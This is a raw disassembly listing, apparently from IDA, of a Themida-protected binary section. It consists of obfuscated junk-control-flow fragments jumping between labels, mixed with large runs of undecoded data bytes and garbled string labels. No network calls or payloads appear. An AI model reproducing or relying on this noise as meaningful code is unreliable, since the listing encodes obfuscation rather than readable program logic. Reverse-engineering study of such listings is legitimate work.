		dd 0D10BE9EFh, 68660000h, 14280000h, 24148A24h,	815A5452h
		dd 4C2h, 2C28300h, 31241433h, 14332414h, 0F1E95C24h, 89000013h
		dd 0E589242Ch, 8790E9h,	24048900h, 0F9157C68h, 2DE95843h
		dd 29000058h, 33AC2DD0h, 5A2D2A59h, 5A12175Ch, 79D368h
		dd 24348900h, 100BEh, 0FFF02100h, 555E2434h, 0FFF88EE9h
		dd 0E95966FFh, 0B209h, 5C243C87h, 4C581h, 0BB530000h, 4
		dd 1C8BDD01h, 4C48124h,	55000000h, 42474FFh, 24048F5Dh
		dd 8324248Bh, 148904ECh, 71E924h, 148B0001h, 4C48324h
		dd 4C481h, 0C4830000h, 4EC8304h, 0FFEA58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592375:				; CODE XREF: Themida_:00591A67j
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		push	3BD37599h
		jmp	loc_598470
; ---------------------------------------------------------------------------
		dd 57240489h, 7585BE56h, 0F7891748h, 0F668575Eh, 8B23B231h
		dd 0C483243Ch, 8E7C104h, 6500E9h
		db 0
; ---------------------------------------------------------------------------


loc_5923A5:				; CODE XREF: Themida_:0059FDA3j
		dec	esi
		jmp	loc_598439
; ---------------------------------------------------------------------------
aNt8scd		db '¾ËN’8é—¤',0
		db 0
; ---------------------------------------------------------------------------


loc_5923B5:				; CODE XREF: Themida_:005A5441j
		mov	[esp], esi
		jmp	loc_5A0897
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0E8010000h, 10B65E9h, 242C8100h, 5C495D2Dh, 0FFE6C6E9h
		dd 0E78957FFh, 4C781h, 6FE90000h, 0FF0000E0h, 9DE92434h
		dd 0F7000052h, 0ABC581DDh, 815E0549h, 565737C5h, 5DE8290Ah
		dd 1405C205h, 2DF02904h, 41405C2h, 7B3BB951h, 0E981526Ch
		dd 13D00F40h, 199FC981h, 0E1814E5Eh, 40EF2105h,	2FC18149h
		dd 1D3F658h, 42D59C8h, 0E91A4A12h, 6457h
; ---------------------------------------------------------------------------


loc_592434:				; CODE XREF: Themida_:005A521Fj
		xchg	edx, [esp]
		pop	ebp
		jmp	loc_595B58
; ---------------------------------------------------------------------------


loc_59243D:				; CODE XREF: Themida_:0059BF04j
		mov	ecx, 1EDA24EEh
		shl	ecx, 5
		sub	ecx, 93383A44h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_594766
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4ECh, 3427E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592466:				; CODE XREF: Themida_:005A4712j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A4E27
; ---------------------------------------------------------------------------
aH_		db ']h¾.',0
		dw 8900h
		dd 4B82404h, 81000000h,	100477E9h, 81C1015Ch, 100477C1h
		dd 24048B5Ch, 0E9E18951h, 64A4h, 2404895Ch, 659B68h, 24248900h
		dd 4240483h, 0C6BE9h, 0E9C2FE00h, 7FBAh
; ---------------------------------------------------------------------------


loc_5924B4:				; CODE XREF: Themida_:00591BA4j
		add	edi, edx
		add	edi, 51EF6E66h
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	7FF2h
		mov	[esp], ebp
		mov	ebp, 232237DBh
		or	ebp, 13AC6381h
		add	ebp, 1
		push	ecx
		mov	ecx, esp
		push	6EE8h
		mov	[esp], ebp
		mov	ebp, 2AC2AD3h
		jmp	loc_599D15
; ---------------------------------------------------------------------------
		dd 0E904C283h, 8FBCh
; ---------------------------------------------------------------------------


loc_5924F8:				; CODE XREF: Themida_:0059D2D2j
		add	ecx, 4
		jmp	loc_598FE0
; ---------------------------------------------------------------------------


loc_592503:				; CODE XREF: Themida_:005A2D27j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_592753
; ---------------------------------------------------------------------------


loc_592515:				; CODE XREF: Themida_:0059DCEAj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 7C0013A8h
		push	eax
		mov	eax, 6C4B4B0Ah
		jmp	loc_5A1452
; ---------------------------------------------------------------------------
		db 68h
		dd 2200h, 0B9240C89h, 566A3E24h, 0E904EC83h, 10ECh
; ---------------------------------------------------------------------------


loc_59254C:				; CODE XREF: Themida_:00590C00j
		sub	ebx, 37D7C4Eh
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_59195D
; ---------------------------------------------------------------------------
		dd 0B0240489h, 0E9C8FE59h, 127C6h, 3238B850h, 5401F93h
		dd 47200E8Dh, 51DF4F05h, 0EDE8E9D9h, 0E953FFFFh, 644Eh
		dd 5052E589h, 6E313BB8h, 0D91FBA10h, 0C2016A78h, 0E924048Bh
		dd 6D97h, 4C381h, 0C3810000h, 4, 5C241C87h, 134368h, 24148900h
		dd 49168h, 526B6800h, 24890000h, 24048324h, 24048F04h
		dd 3B8AE9h, 7E8C100h, 2761550Dh, 0A812D5Bh, 0C78955AEh
		dd 12C8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5925E9:				; CODE XREF: Themida_:0059F963j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5925EE:				; CODE XREF: Themida_:0059F26Ej
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 243C8704h, 2424895Ch, 4240483h, 6292685Bh, 14890000h
		dd 46824h, 57E90000h, 5F0000FFh, 34FFC731h, 24048B24h
		dd 8304C483h, 0D8E904C4h, 0FF00009Eh, 0B2E92434h, 8900009Dh
		dd 74FF2414h, 0E95A0424h, 88Bh,	7A4A52BBh, 76E3810Eh, 815CF807h
		dd 0CB4C03E3h, 2EBC170h, 10CF381h, 0BE91C52h, 8100003Ah
		dd 942ECEAh, 0E4EA8158h, 59272042h, 5C241487h, 4C781h
		dd 0C7830000h, 243C8702h, 6624248Bh, 2404B30Fh,	0E409E99Ch
		dd 0E95BFFFFh, 1B75h, 0A6E9F289h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59269F:				; CODE XREF: Themida_:00595471j
		pop	esp
		mov	ax, [esp]
		push	ecx
		jmp	loc_597A1D
; ---------------------------------------------------------------------------
		dw 7C01h
		dd 0E9510424h, 290Eh, 0C112C581h, 0EB29DB0Dh, 35BE565Dh
		dd 296B8A11h, 0E6A9E9F0h, 0E95DFFFFh, 12085h, 15EF331h
		dd 32C5E9DEh
		db 1, 0
; ---------------------------------------------------------------------------


loc_5926DA:				; CODE XREF: Themida_:005950DAj
		mov	esi, 3C384728h
		add	eax, 2DBA5A7Ah
		add	eax, esi
		jmp	loc_59E3DD
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE3ABh, 0BF499AB8h, 49962D1Bh, 8BE91BBFh
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5926FF:				; CODE XREF: Themida_:00596F18j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_593A12
; ---------------------------------------------------------------------------


loc_59270E:				; CODE XREF: Themida_:0059BEC5j
		xchg	bh, [esp+1]
		pop	dx
		shr	dh, 5
		shr	dh, 7
		not	dh
		jmp	loc_59D1EC
; ---------------------------------------------------------------------------
byte_592721	db 0E9h, 75h, 0E3h	; DATA XREF: Themida_:005909E0o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592726:				; CODE XREF: Themida_:005933BCj
		mov	ebx, 1C000AB6h
		sub	ebx, 317668F3h
		jmp	loc_598F50
; ---------------------------------------------------------------------------
		dw 0D2F6h
aPJsfk		db 'P´¦éFª',0
		align 10h


loc_592740:				; CODE XREF: Themida_:005A10A0j
		neg	ecx
		add	ecx, 3F702BC3h
		add	ecx, 7F1A463Fh
		jmp	loc_597C32
; ---------------------------------------------------------------------------


loc_592753:				; CODE XREF: Themida_:00592510j
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 45D85D69h
		sub	ebp, 45D85D65h
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_59E0C9
; ---------------------------------------------------------------------------


loc_59276C:				; CODE XREF: Themida_:0059DC07j
		add	esp, 4
		push	eax
		jmp	loc_5A147E
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0BFh
		dd 1000000h, 525558C2h,	0FFF100E9h, 0FFC581FFh,	0E9FFFFFFh
		dd 3A95h, 55BD5548h, 31734C61h,	0ACE95DE8h, 6600001Ch
		dd 0E95FF829h, 1255Fh, 0D9B75366h, 0B159E9h, 0FFE95A00h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5927B7:				; CODE XREF: Themida_:00595AA7j
		add	ebx, 1
		jmp	loc_5A4523
; ---------------------------------------------------------------------------
		db 0B7h
		dd 59EF2849h, 1034E9h, 0C2BE5600h, 81306D2Dh, 800ACEEh
		dd 0C692E912h, 58530000h, 645FE95Bh, 0C7680000h, 5400006Fh
		dd 8124048Fh, 42404h, 0C8B0000h, 4C48124h, 0E9000000h
		dd 9F04h, 14E9515Ah, 87000081h,	895C242Ch, 0EC83242Ch
		dd 24248904h, 788568h, 0EB19E900h
		db 2 dup(0FFh)
aRss		db 'Ré‘Ë',0             ; DATA XREF: Themida_:00590868o
		align 4
aPsS		db 'Pé"S',0
		align 2
		dw 3C89h
		dd 81E78924h, 4C7h, 0FAD8E900h,	74FF0000h, 0E95F0424h
		dd 12B47h, 0BF243C89h, 57C15938h, 0EE9FEF81h, 1CE938BFh
		dd 81000012h, 4C5h, 9BE95100h, 0FF0000C3h, 8B042474h, 0EC812434h
		dd 4, 89241489h, 4C281E2h, 53000000h, 4BBh, 0B4BD5500h
		dd 57049334h, 0F4A5E9h,	37C78100h, 31B91543h, 243C8BF8h
		dd 4C481h, 0C3310000h, 2E96BB53h, 0DA2957BEh, 0FFFD86E9h
		dd 4C181FFh, 81000000h,	4E9h, 240C8700h, 242C895Ch, 0D111E9h
		db 0
; ---------------------------------------------------------------------------


loc_5928C5:				; CODE XREF: Themida_:0059EA77j
		push	dword ptr [esp+4]
		jmp	loc_59FE2B
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0FFFFFFFFh, 0D1CCE9h, 0B0505200h, 52642CE5h,	0C680DFB6h
		dd 4E6C092h, 8004CE80h,	0F000E6EEh, 0EFCFE95Ah,	0CD80FFFFh
		dd 0C0CDFEF4h, 0E5C004E5h, 43BE907h, 0C8B0001h,	8630E924h
		dd 0F9090000h, 81243C8Bh, 4C4h,	2E9C100h, 0F6EE9h
		db 0
; ---------------------------------------------------------------------------


loc_592921:				; CODE XREF: Themida_:005A5B25j
		sub	eax, ebp
		jmp	loc_59E817
; ---------------------------------------------------------------------------
aISi_		db '‰Ýéˆ_',0
		db 0
; ---------------------------------------------------------------------------


loc_59292F:				; CODE XREF: Themida_:005A242Fj
		sub	eax, ebx
		pop	ebx
		pop	ebx
		jmp	loc_5A219C
; ---------------------------------------------------------------------------


loc_592938:				; CODE XREF: Themida_:005A239Bj
		xor	ebx, 70BFB305h
		add	ebp, ebx
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		sub	esi, 1278303Ah
		add	esi, ecx
		jmp	loc_592032
; ---------------------------------------------------------------------------
aHE		db '\hÆE',0
		dw 8900h
		dd 6851243Ch, 0F2542A7h, 0CDE95359h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_592967:				; CODE XREF: Themida_:0059CE9Bj
		push	edx
		push	ebx
		push	4937752h
		pop	ebx
		and	ebx, 6C0F08D3h
		xor	ebx, 4030056h
		mov	edx, ebx
		pop	ebx
		jmp	loc_597B6A
; ---------------------------------------------------------------------------
		db 31h
		dd 0EAC159CAh, 9AF28104h, 298DB980h, 6AE95AD7h,	87000111h
		dd 248B2404h, 241C8924h, 688B6858h, 0C5E90000h,	89000118h
		dd 0A468243Ch, 8900001Eh, 4832424h, 0E6E90424h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5929BF:				; CODE XREF: Themida_:00599186j
		add	esp, 4
		sub	edx, 3E2E6841h
		add	edx, 1
		add	edx, 312A6FABh
		push	esi
		push	ecx
		push	ebp
		mov	ebp, 703E15D7h
		shr	ebp, 3
		not	ebp
		sub	ebp, 0EB86D42Fh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5994C9
; ---------------------------------------------------------------------------


loc_5929F2:				; CODE XREF: Themida_:005976FBj
		sub	ah, dl
		push	dword ptr [esp]
		jmp	loc_5A107B
; ---------------------------------------------------------------------------
aAu4sB		db '€ã4é',27h,'B',0
		align 4
		dd 0BD242C89h, 52D53D3Ah, 8105E5C1h, 0A7A704EDh, 0E9E9895Ah
		dd 68DFh, 33241431h, 28E92414h
		db 0Eh,	1, 0
; ---------------------------------------------------------------------------


loc_592A27:				; CODE XREF: Themida_:0059B133j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A192E
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 12CCFh, 0E981F901h, 34713BEFh, 83243C8Bh
		dd 0C8704C4h, 24248B24h, 11A56E9h, 5AD32800h, 114EBE9h
		dd 241C8900h, 1A0F2DBBh, 0DFCB812Bh, 4B73E912h,	0E951DBF7h
		dd 1170Ah
; ---------------------------------------------------------------------------


loc_592A78:				; CODE XREF: Themida_:00592F96j
		add	ebx, edx
		push	esi
		mov	esi, 224170FDh
		jmp	loc_595CC9
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 721C8B8h, 38F9352Bh,	535653F8h, 0A749E9h, 23E90500h
		dd 54051A4Ch, 8B07A91Fh, 0E9512414h, 0FFFFF9A7h, 4C481h
		dd 0EC810000h, 4, 0B5240C89h, 0BB9E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592AC2:				; CODE XREF: Themida_:005A1F88j
		push	edi
		mov	edi, 7F821E4Ah
		mov	esi, 7F821E4Ah
		sub	esi, edi
		pop	edi
		sub	esi, ebx
		jmp	loc_59F52E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0CB7AE900h, 34890000h,	2474FF24h, 24348B04h, 4C481h
		dd 93E90000h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592AF7:				; CODE XREF: Themida_:00596E49j
		push	eax
		mov	eax, 72046C61h
		push	ebp
		mov	ebp, 6F8008A1h
		neg	ebp
		not	ebp
		add	ebp, 1AAB29BDh
		inc	ebp
		and	ebp, 352B08F8h
		push	edx
		mov	edx, 37445B2Dh
		or	edx, 78C856BAh
		inc	edx
		or	edx, 327C06FFh
		sub	edx, 80276058h
		jmp	loc_59DD67
; ---------------------------------------------------------------------------
		dw 64E9h
		dd 89FFFFDFh, 0B24CE9DDh, 2C8B0000h, 4C48124h, 81000000h
		dd 7D56AECDh, 78685126h, 59251205h, 0E959CD29h,	6F22h
; ---------------------------------------------------------------------------


loc_592B5C:				; CODE XREF: Themida_:005A4364j
		add	ebx, 376A215Ah
		add	ebx, 1F374973h
		sub	ebx, 0AF3A3DD7h
		sub	edi, 3F3A45A6h
		sub	edi, ebx
		jmp	loc_59A656
; ---------------------------------------------------------------------------
		db 81h
		dd 745651EEh, 0B6CE8118h, 81009061h, 9119E0F6h,	0D0C68130h
		dd 8120CFE3h, 655FE7EEh, 27F6814Fh, 0C119CF32h,	0A5E903E6h
		dd 0B20000B4h, 0FED2F680h, 46EA80CAh, 0FFFEA4E9h, 243C33FFh
		dd 4EC835Ch, 11C20E9h, 0ED814500h, 3C344AC9h, 1D9368h
		dd 24348900h, 0F81EA5BEh, 5EF5315Bh, 413EB951h,	0E1C14679h
		dd 0E9C14907h, 1B8EE908h, 34FF0001h, 0C4835B24h, 24348B04h
		dd 0E904C483h, 9FC0h, 8008E9C0h, 0B652D1E9h, 0ECE68058h
		dd 8007E6C0h, 0F120E5EEh, 0B652665Ah, 66F10872h, 0A8F1805Ah
		dd 9683E9h, 24248B00h, 1468C2FEh, 8900000Dh, 7CB42404h
		dd 0F607E4C0h, 37B252D4h, 0FFFAF9E9h, 2DD801FFh, 66446838h
		dd 0A855E9h, 58C62900h,	2A49BF57h, 0D7F77BC3h, 54E9504Fh
		db 49h,	2 dup(0)
byte_592C5B	db 0FFh			; DATA XREF: Themida_:00590858o
		dd 669D1C77h, 2414D359h, 0DE31E99Ch, 0EED0FFFFh, 0BBB05066h
		dd 0DE9C628h, 0BB00007Fh, 4, 565BDE01h,	42474FFh, 8124348Bh
		dd 4C4h, 24048F00h, 0B4B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_592C95:				; CODE XREF: Themida_:00596915j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_591F8C
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 0F2h
		dd 8324348Bh, 148704C4h, 24248B24h, 51241489h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 9162E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592CCA:				; CODE XREF: Themida_:00590EA1j
		pop	eax
		jmp	loc_59D075
; ---------------------------------------------------------------------------
aI4Ics4c	db '‰4$‰æé4—',0
		align 2
		dw 8B5Eh
		dd 0C481241Ch, 4, 40A668h, 8C8E900h, 88530000h,	7E0DE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_592CF6:				; CODE XREF: Themida_:005A3FDEj
		push	ebp
		jmp	loc_59D66E
; ---------------------------------------------------------------------------
aSsR		db 'SéÓR',0
		align 2
		dw 4D3h
		dd 90E99C24h, 81FFFFDDh, 4C3h, 4EB8100h, 87000000h, 685C241Ch
		dd 7F9Dh, 81242489h, 42404h, 48F0000h, 0C0E95024h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592D33:				; CODE XREF: Themida_:0059C818j
		shr	eax, 2
		neg	eax
		push	ebx
		mov	ebx, 0A3B935E0h
		sub	eax, ebx
		pop	ebx
		mov	[edx+30h], eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 5603533Fh
		inc	eax
		add	eax, 0A9FCACC4h
		add	esi, eax
		pop	eax
		jmp	loc_59FF60
; ---------------------------------------------------------------------------
aPs		db '^P鯲',0
		align 2


loc_592D66:				; CODE XREF: Themida_:005A1382j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	eax
		push	7D6Eh
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5A0E54
; ---------------------------------------------------------------------------


loc_592D83:				; CODE XREF: Themida_:0059F796j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_59333E
; ---------------------------------------------------------------------------


loc_592D97:				; CODE XREF: Themida_:00599B16j
		mov	edi, 59D6BD4h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 6BDB0949h
		add	eax, ebx
		jmp	loc_598105
; ---------------------------------------------------------------------------
		dd 0E03FC6B9h, 0FFC8294Dh, 0E9592434h, 443Ah, 8704C583h
		dd 42E9242Ch, 68000068h, 0C49h,	54243489h, 5E2434FFh, 0A12CE9h
		dd 782DBD00h, 0F5810796h, 2F451791h, 3BE9D5F7h,	80FFFFEEh
		dd 685963C3h, 717Fh, 0B4240489h, 33EC80EDh, 0E982C480h
		dd 26B9h
; ---------------------------------------------------------------------------


loc_592E08:				; CODE XREF: Themida_:005969C3j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	3876h
		mov	[esp], ebp
		jmp	loc_599BDA
; ---------------------------------------------------------------------------
dword_592E1C	dd 24048B66h, 0FFE83CE9h, 0FEBB53FFh, 8949421Eh, 0F860E9D8h
					; DATA XREF: Themida_:00590A00o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592E32:				; CODE XREF: Themida_:005A4434j
		add	eax, ebx
		add	eax, 65D37AF1h
		push	dword ptr [esp]
		jmp	loc_5A1055
; ---------------------------------------------------------------------------
a0syhdx		db '0èYhdX',0
		dd 1933E900h, 248B0001h, 0E1F76624h, 4A568h, 0E216E900h
		dd 38E9FFFFh, 5AFFFFDCh, 905C681h, 0FE291F9Fh, 905EE81h
		dd 0E2E91F9Fh, 81FFFFE4h, 26D6E3EAh, 74750563h,	0D029459Ah
		dd 4EC81h, 34890000h, 6EC8BE24h, 0ABE973DAh
		db 99h,	2 dup(0)
byte_592E97	db 81h			; DATA XREF: Themida_:005908BCo
		dd 4ECh, 240C8900h, 6E95954h, 0BFFFFFFAh, 4, 7FE9FA01h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_592EB3:				; CODE XREF: Themida_:005A42A9j
		mov	ecx, 73342660h
		neg	ecx
		inc	ecx
		jmp	loc_59BE52
; ---------------------------------------------------------------------------
		dd 8987F781h, 0FA01F4EAh, 8199E9h, 0F5E95900h, 8F00005Dh
		dd 248B2404h, 82BBE924h, 148B0000h, 4357E924h, 0EC830000h
		dd 24348904h, 0EB21AEBEh, 5EF5094Ch, 7BFAF581h,	99056CEBh
		dd 0E97A4742h, 0E3E9h, 0EC835E54h, 241C8904h, 2643E952h
		dd 15A0001h, 0C5815FFDh, 4, 0E9242C33h,	0A979h
; ---------------------------------------------------------------------------


loc_592F24:				; CODE XREF: Themida_:005A468Dj
		push	ecx
		mov	ecx, 4
		jmp	loc_594A26
; ---------------------------------------------------------------------------
		db 1
		dd 58042444h, 0B8E4E9h,	4C68300h, 5C243487h, 0FFDB56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592F45:				; CODE XREF: Themida_:00591F45j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_59B6BB
; ---------------------------------------------------------------------------


loc_592F55:				; CODE XREF: Themida_:00590D3Aj
		sub	esp, 4
		mov	[esp], edx
		push	36A0h
		mov	[esp], ebx
		push	435Eh
		mov	[esp], edx
		mov	dh, al
		jmp	loc_59729B
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0E904C283h, 102A6h, 4EC81h, 14890000h, 8024B624h
		dd 0E0E99ECEh
		db 5, 1, 0
; ---------------------------------------------------------------------------


loc_592F93:				; CODE XREF: Themida_:0059B9CDj
		sub	ebx, edi
		pop	edi
		jmp	loc_592A78
; ---------------------------------------------------------------------------
		db 66h
		dd 667C2D68h, 0B6241489h, 77EB8072h, 11EB80h, 11C380F3h
		dd 6677C380h, 0E950665Ah, 0FFFFEB53h
; ---------------------------------------------------------------------------


loc_592FBC:				; CODE XREF: Themida_:0059CA59j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_594260
; ---------------------------------------------------------------------------


loc_592FCF:				; CODE XREF: Themida_:00593997j
		add	edi, 1FFA1316h
		jmp	loc_59AC0B
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0DF60DFC3h, 0C8AFE90Fh, 3C890000h, 7933BF24h, 0D7F713D3h
		dd 0E907EFC1h, 231Bh
dword_592FF8	dd 6824048Bh, 1881h, 0E9240C89h, 58h, 4E981h, 0C870000h
					; DATA XREF: Themida_:005908C8o
		dd 4895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59F94F
; ---------------------------------------------------------------------------
		db 0B1h
		dd 50D9F653h, 5BDFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59302D:				; CODE XREF: Themida_:00593CD9j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	3143h
		mov	[esp], ebx
		push	esi
		mov	esi, 1
		mov	ebx, esi
		pop	esi
		push	ecx
		push	3DC5h
		mov	[esp], ebp
		push	24h
		pop	ebp
		jmp	loc_59699E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_594B7A
; ---------------------------------------------------------------------------
		dd 6815055Ah, 0D8013B0Fh, 0F68152Dh, 67062D3Bh,	875B460Bh
		dd 515C2404h, 89E962B1h, 51FFFFDBh, 4B9h, 59C80100h, 405h
		dd 4EC8100h, 89000000h,	74FF2404h, 48B0424h, 1A48E924h
		dd 0EF010001h, 81242C8Bh, 4C4h,	433F6800h, 14890000h, 2BA24h
		dd 0D7010000h, 0E694E9h
		db 0
; ---------------------------------------------------------------------------


loc_5930D1:				; CODE XREF: Themida_:0059C14Cj
		pop	eax
		jmp	loc_594CE6
; ---------------------------------------------------------------------------


loc_5930D7:				; CODE XREF: Themida_:005A2022j
		pop	ebp
		xor	edx, 0A37DE2h
		jmp	loc_592292
; ---------------------------------------------------------------------------


loc_5930E3:				; CODE XREF: Themida_:005A21ACj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		db 58h
		dd 4C781h, 7AE90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5930FB:				; CODE XREF: Themida_:0059C081j
		add	ebx, 31C31ECBh
		sub	ebx, 0C2B1116h
		sub	ebx, edx
		jmp	loc_5982AD
; ---------------------------------------------------------------------------
aM0QpsA		db '¬0ØQPé(€',0         ; DATA XREF: Themida_:00590854o
		align 4
aXssO		db 'XSé~Ž',0
		dw 5200h
		dd 0C11BDBBAh, 1BDFBF35h, 0D73135C1h, 0E4BE565Ah, 101F53Eh
		dd 0F8015EF0h, 0F53EE42Dh, 243C8B01h, 4C481h, 4870000h
		dd 72E95C24h, 50000084h, 5F240481h, 0E96A6930h,	3630h
; ---------------------------------------------------------------------------


loc_59315C:				; CODE XREF: Themida_:005A1FE9j
		push	639Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A5B2A
; ---------------------------------------------------------------------------
		db 83h
		dd 0D36804C2h, 89000052h, 74FF2414h, 8F5A0424h,	685C2404h
		dd 1FB9h, 54242C89h, 59E9525Dh,	8900000Eh, 0A968242Ch
		dd 5D6FE765h, 2ADCCD81h, 0E5813058h, 6E613362h,	0F787E9h
		db 0
; ---------------------------------------------------------------------------


loc_5931B9:				; CODE XREF: Themida_:00593C8Bj
		push	eax
		mov	eax, 531C80D8h
		sub	esi, eax
		jmp	loc_596B1C
; ---------------------------------------------------------------------------


loc_5931C6:				; CODE XREF: Themida_:005A1687j
		and	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 66EFE789h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	eax, edx
		jmp	loc_59718D
; ---------------------------------------------------------------------------


loc_5931E1:				; CODE XREF: Themida_:005A2F1Fj
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5940E0
; ---------------------------------------------------------------------------
		dw 1489h
aHmExzsNE1QC_h	db '$hm<¥xZS»{Ðe1Ú[Q¹ç)Û_h<#',0
		dw 8900h
		dd 0DB82404h, 314C6954h, 24048BC1h, 0A482E9h
		db 0
; ---------------------------------------------------------------------------


loc_59322D:				; CODE XREF: Themida_:005A31E6j
		add	esp, 4
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A501F
; ---------------------------------------------------------------------------
aZ9uKKsZ	db '¹z!9u½ŠÞÆŠé',27h,'§',0
		db 0
; ---------------------------------------------------------------------------


loc_593255:				; CODE XREF: Themida_:0059E2B3j
		pop	esi
		mov	ebx, edx
		pop	edx
		jmp	loc_59A663
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 0E9CAFEE7h, 7842h, 0FFD82EE9h, 0E9CB28FFh, 0FFFFFB7Bh
		dd 4A120405h, 0E145E91Ah, 0DEF7FFFFh, 5CAEC681h, 40E9063Fh
		dd 8B000083h, 0C4832404h, 37EA8104h, 19E4334h, 2434FFD0h
		dd 5610E9h
		db 0
; ---------------------------------------------------------------------------


loc_5932A1:				; CODE XREF: Themida_:005A4B54j
		push	ebx
		jmp	loc_59833E
; ---------------------------------------------------------------------------
		db 89h
		dd 0F9BE2434h, 0E94BEF7Bh, 0FFFFF41Ch
; ---------------------------------------------------------------------------


loc_5932B4:				; CODE XREF: Themida_:0059A48Bj
		inc	esi
		jmp	loc_5A16B1
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 5E042474h, 5C24048Fh, 0E9243489h, 0E36Ch
; ---------------------------------------------------------------------------


loc_5932CC:				; CODE XREF: Themida_:005A2F9Ej
		pop	ebp
		jmp	loc_5A0FB2
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 5157470Ch, 8324148Bh, 8CE904C4h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5932E3:				; CODE XREF: Themida_:0059E0D2j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A19A0
; ---------------------------------------------------------------------------


loc_5932F7:				; CODE XREF: Themida_:00595FDFj
		push	ebx
		push	esi
		jmp	loc_5996F4
; ---------------------------------------------------------------------------
		dw 0F468h
		dd 0E9000073h, 0FFFFDF3Ch, 4B9h, 0FDC38100h, 130CC2Eh
		dd 0FDEB81CBh, 0E930CC2Eh, 0B5E6h
; ---------------------------------------------------------------------------


loc_593320:				; CODE XREF: Themida_:00594C9Ej
		inc	eax
		shr	eax, 5
		sub	eax, 8F880A38h
		push	414Ch
		mov	[esp], eax
		push	edi
		mov	edi, 4AFB21A0h
